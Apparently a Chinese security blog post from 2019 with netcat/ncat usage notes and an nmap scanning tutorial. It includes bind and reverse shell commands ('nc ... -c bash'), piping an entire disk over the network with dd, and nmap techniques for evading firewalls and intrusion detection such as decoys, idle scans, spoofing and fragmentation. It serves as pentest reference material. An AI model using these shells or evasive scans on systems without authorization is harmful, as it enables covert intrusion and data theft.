    服务端: nc -lp 333 | mcrypt –flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
    客户端: mcrypt –flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1
    333 -q 1

流媒体服务

  • 服务器:cat 1.mp4 | nc -lp 333
  • 客户端 nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -

端口扫描

  • nc -nvz 1.1.1.1 1-65535
  • nc -vnzu 1.1.1.1 1-1024

远程克隆硬盘

  • 从客户端拷贝每个内容到服务端
    • 服务端:nc -lp 333 | dd of=/dev/sda
    • 客户端:dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1

远程控制

  1. 正向 用来控制服务器
    • 服务端: nc -lp 333 -c bash
    • 客户端: nc 1.1.1.1 333
  2. 反向 连接服务器后,服务器可以操作客户端

服务端: nc -lp 333
客户端: nc 1.1.1.1 333 -c bash

  1. mac版本使用 -e命令
  2. 反向用于网络管理员限制进口端口的时候

ncat

  1. nc数据缺乏加密和身份验证的能力
  2. ncat包含于nmap工具中,弥补了nc的不足
    • 服务器: ncat -c bash –allow 192.168.198.66 -vnl 333 –ssl
    • 打开shell ,–allow设置允许连接的服务器 –ssl打开ssl加密
    • 客户端: ncat -nv 1.1.1.1 333 –ssl
  3. nc不同系统的参数命令不一样

nmap

发表于 2019-03-02 | 分类于 hack , web

Table of Contents

  1. 主要功能
  2. 基本扫描策略
    1. 无任何附加参数 nmap IP地址
    2. 冗余 nmap -vv IP地址
    3. 指定端口号 nmap -p端口号 IP地址
    4. 操作系统侦测 nmap -O IP地址/nmap -A IP地址
    5. 只进行主机发现 nmap -sn IP地址
    6. 跳过主机发现 nmap -Pn IP地址
    7. 扫描和版本号侦测 nmap -sV IP地址
    8. UDP 扫描 nmap -sU IP地址
  3. 绕过防火墙
    1. 利用掩体 namp -D IP地址1,IP地址2… IP地址
    2. 禁用 ping nmap -P0 IP地址
    3. IP 地址伪装 sudo proxychains nmap
    4. 空闲扫描 nmap -sI 僵尸IP地址[:开放的僵尸端口] IP地址
    5. 指定网卡进行扫描 nmap -e 网卡 IP地址
    6. 限制扫描时间 nmap host-timeout 时间 IP地址
    7. 指定源 IP 地址 nmap -S 源IP地址 IP地址
    8. 定源主机端口 nmap -g 53 IP地址
    9. 数据包分片技术 nmap -f IP地址/nmap mtu mtu单元大小 IP地址
    10. 添加垃圾数据 nmap data-length 垃圾数据长度 IP地址
    11. 随机选择扫描对象 nmap randomize-hosts IP地址
    12. 伪装 MAC 地址 nmap spoof-mac 伪造MAC IP地址
    13. 伪造检验值 nmap badsum IP地址
    14. 扫描速度 nmap -T0 IP地址
  4. Nmap 脚本引擎
  5. 常用技巧
    1. -sS 半开放扫描(非3次握手的tcp扫描)

主要功能

  • 主机发现
  • 端口扫描
  • 服务版本侦测
  • 操作系统侦测

基本扫描策略

无任何附加参数 nmap IP地址

  • 如果是超级用户,无参数扫描等价于 sS 参数扫描(SYN,半连接);否则,无参数扫描等价于 sT 参数扫描(TCP,完整连接)。

冗余 nmap -vv IP地址

按照基本法,v 参数通常表示冗余。我们使用两个 v 参数表示将侦测过程原原本本的打印输出出来。

指定端口号 nmap -p端口号 IP地址

这里 p 参数表示端口,标准写法后面跟的端口号之间没有空格。但是如果写一个空格也并无妨。

操作系统侦测 nmap -O IP地址/nmap -A IP地址

操作系统侦测有两个参数选项,其一是参数 O,其二是参数 A,后者乃前者的冗余版本。我更多的使用 A 参数,以得到更多的信息

只进行主机发现 nmap -sn IP地址

主机发现的手段不下几十种,但是最常用的却是 sn 参数,它表示 “使用 ping 扫描来侦测存活的主机,而不进行端口扫描”。

跳过主机发现 nmap -Pn IP地址

有时候对方主机开启了防火墙(这是很自然的事情),可能过滤掉了你发送的 ICMP 协议数
据包,这样如果想要使用 sn 参数来进行主机发现就不管用了,产生的结果也不可靠。于是
你不得不使用 Pn 参数,它假设所有的目标 IP 均为存活,并一个一个主机的进行端口扫描,
你懂的这样会牺牲一些时间作为代价。

扫描和版本号侦测 nmap -sV IP地址

该选项通过侦测开放的端口来判断开放的服务,并试图检测它的版本。虽然 A 选项也能做
到,但是要检测开放的服务版本,sV 一定是最合适的。

UDP 扫描 nmap -sU IP地址

绕过防火墙

前面讲的 Pn 选项就可以看成是 sn 选项的逃脱策略。所谓逃脱,就是不让别人发现自己,否
则要干的侦测工作还没搞完,就被迫中止岂不让人笑话。同样的,排名不分先后。

利用掩体 namp -D IP地址1,IP地址2… IP地址

你可以使用 D 选项(英文 decoy)跟一些 IP 地址,IP 和 IP 之间用逗号隔开。这样看起
来用来侦测而发送的数据包不仅来自于你的 IP 地址,还来自于这些掩体 IP。这就叫做
“混入其中”。

禁用 ping nmap -P0 IP地址

在 2010 年之后,该选项和 PN 选项被一起合并到 Pn 选项之中。但是如果你愿意,你仍然可以使用 P0 选项(P 后面跟的是零)。

IP 地址伪装 sudo proxychains nmap

伪装 IP 地址的方法也有很多,比如你可以使用 prxychains 这款工具来实现匿名代理。

空闲扫描 nmap -sI 僵尸IP地址[:开放的僵尸端口] IP地址

和 D 选线不同的是,sI 根本不使用你自己的 IP 地址,而是使用空闲的网络资源。这样隐
蔽性就更强了。开放的僵尸端口为选填,默认等于 80 端口。具体原理请参考 Nmap 文档。
根据这个理论,你不能使用空闲扫描来扫描你自己的主机 IP。在 msfconsole 中,你可以
使用 auxiliary/scanner/ip/ipidseq 来完成这个工作。

指定网卡进行扫描 nmap -e 网卡 IP地址

当你拥有不止一个网卡的时候,这很有用。

限制扫描时间 nmap host-timeout 时间 IP地址

限制每个 IP 地址的扫描时间(单位为秒),当要扫描大量的主机 IP 时这很有用。

指定源 IP 地址 nmap -S 源IP地址 IP地址

使用冒充的 IP 地址进行扫描以增强隐蔽性。这里伪装成的 IP 也可以来自于下线状态的主机地址。

定源主机端口 nmap -g 53 IP地址

使用 g 参数,或者 source-port 参数,来手动设定用来扫描的端口。常用的,如 20、53、
67 端口。

数据包分片技术 nmap -f IP地址/nmap mtu mtu单元大小 IP地址

上面两种方法都可以利用数据包分片技术,某些防火墙为了加快处理速度而不会进行重组处
理,这样从而逃脱防火墙或闯入检测系统的检测。注意,mtu 的值必须是 8 的倍数(如 8、
16、24、32 等)。

添加垃圾数据 nmap data-length 垃圾数据长度 IP地址

一些常见的扫描之数据包是有特定的数据长度的,通过在发送的数据包末尾添加随机的垃圾
数据,以达到混淆视听的作效果。

随机选择扫描对象 nmap randomize-hosts IP地址

如果你要扫描大量的,比如成百上千的主机 IP,这很有效。它会打乱扫描顺序,以规避检测系统的检测。

伪装 MAC 地址 nmap spoof-mac 伪造MAC IP地址

你可以通过指定供应商的名字来伪装 MAC 地址。可选的名字有 Dell、Apple、3Com。当然
也可以手动指定 MAC 地址的值。或者为了简单起见,可以在上面 “伪造IP” 的地方填写数
字 0,这将生成一个随机的 MAC 地址。

伪造检验值 nmap badsum IP地址

这将使用伪造的 TCP / UDP / SCTP 校验和发送数据。

扫描速度 nmap -T0 IP地址

T后面跟的数字代表扫描速度,数字越大则速度越快。0~5分别表示:妄想症、鬼鬼祟祟、
彬彬有礼、正常、好斗、精神病

Nmap 脚本引擎

Nmap 脚本引擎内置在 Nmap 中,使用 script 参数进行调用。它的英文名是 Nmap Script
Engine,简称 NSE
Nmap 内置了一些已经写好的脚本,在 Kali 等主流渗透系统中被保存在
usr/share/nmap/scripts 文件夹下。文件后缀名是 .nse。使用 sC(等价于
script=default)或者 script 参数对 Nmap 脚本进行调用

常用技巧

-sS 半开放扫描(非3次握手的tcp扫描)

使用频率最高的扫描选项:SYN扫描,又称为半开放扫描,它不打开一个完全的TCP连接,执行得很快,效率高
(一个完整的tcp连接需要3次握手,而-sS选项不需要3次握手)
Tcp SYN Scan (sS) 它被称为半开放扫描
优点:Nmap发送SYN包到远程主机,但是它不会产生任何会话,目标主机几乎不会把连接记入系统日志。(防止对方判断为扫描攻击),扫描速度快,效率高,在工作中使用频率最高
缺点:它需要root/administrator权限执行

Yueyec

8 日志
9 分类
9 标签
© 2019 Yueyec
由 Hexo 强力驱动
|
主题 — NexT.Mist v5.1.4